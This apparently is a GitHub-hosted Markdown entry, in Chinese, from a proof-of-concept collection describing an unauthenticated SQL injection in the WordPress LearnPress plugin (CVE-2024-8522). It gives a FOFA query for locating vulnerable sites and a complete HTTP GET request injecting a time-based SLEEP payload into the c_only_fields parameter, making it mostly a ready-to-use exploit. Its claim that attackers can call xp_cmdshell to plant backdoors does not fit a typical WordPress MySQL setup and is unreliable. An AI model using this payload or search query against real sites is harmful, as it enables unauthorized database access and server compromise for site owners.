Skip to content

Latest commit

 

History

History
20 lines (14 loc) · 727 Bytes

WordPress系统插件LearnPress存在SQL注入漏洞(CVE-2024-8522).md

File metadata and controls

20 lines (14 loc) · 727 Bytes

WordPress系统插件LearnPress存在SQL注入漏洞(CVE-2024-8522)

WordPress系统插件LearnPress存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。

fofa

body="/wp-content/plugins/learnpress"

poc

GET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=-2,(SLEEP(8)),0) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close

image-20240926094748650